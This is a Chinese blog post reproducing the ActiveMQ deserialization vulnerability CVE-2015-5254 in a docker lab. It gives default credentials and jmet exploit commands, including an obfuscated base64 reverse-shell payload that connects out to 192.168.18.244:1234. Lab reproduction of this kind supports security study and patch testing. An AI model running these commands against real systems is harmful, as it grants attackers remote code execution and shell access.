ActiveMQ反序列化漏洞(CVE-2015-5254)

0x01漏洞概述

ActiveMQ Web控制台分为三个应用程序,admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是存储文件的界面;管理员和 API 需要先登录才能使用,文件服务器不需要登录。

fileserver 是一个 RESTful API 接口。我们可以通过HTTP请求(如GET,PUT和DELETE)读取和写入存储在其中的文件。设计目的是补偿消息队列操作无法传输和存储二进制文件的缺陷,但后来发现:

(1)其使用率不高

(2)文件操作容易出现漏洞

​因此,ActiveMQ默认在5.12.x—5.13.x中关闭了文件服务器应用程序(您可以在conf/jetty.xml中打开它);在 5.14.0 之后,文件服务器应用程序将被完全删除。在测试过程中,要注意ActiveMQ的版本,防止无用的费力。

0x02漏洞环境

1、打开漏洞环境

docker-compose up -d

2、访问漏洞

​监听8161和61616两个端口,61616端口是工作端口,消息在这个端口进行传递;8161是网络管理页面端口访问。

http://your-ip:8161

账号:admin
密码:admin

3、复现完成后,删除漏洞环境

docker-compose down

0x03复现过程

1、漏洞利用工具下载地址:

Jmet下载地址

https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

2、在攻击机器上下载jmet文件,在同级目录下新建external文件夹

执行下列代码:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

执行结果如下:

执行成功之后,此时会给目标ActiveMQ添加一个名为event的队列,看到该列的所有消息,访问这个网站:

http://your-ip:8161/admin/browse.jsp?JMSDestination=event

3、在kali中执行

sudo docker-compose exec activemq bash  

然后执行

ls /tmp

4、将命令替换成弹shell语句再利用

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaT4vZGV2L3RjcC8xOTIuMTY4LjE4LjI0NC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME your-ip 61616

执行结果如下:

利用靶机访问该路径:

http://127.0.0.1:8161/admin/browse.jsp?JMSDestination=event

结果如下:

再次执行:

ls /tmp

posted @ 2022-05-05 22:35  RichardYg  阅读(51)  评论(0编辑  收藏  举报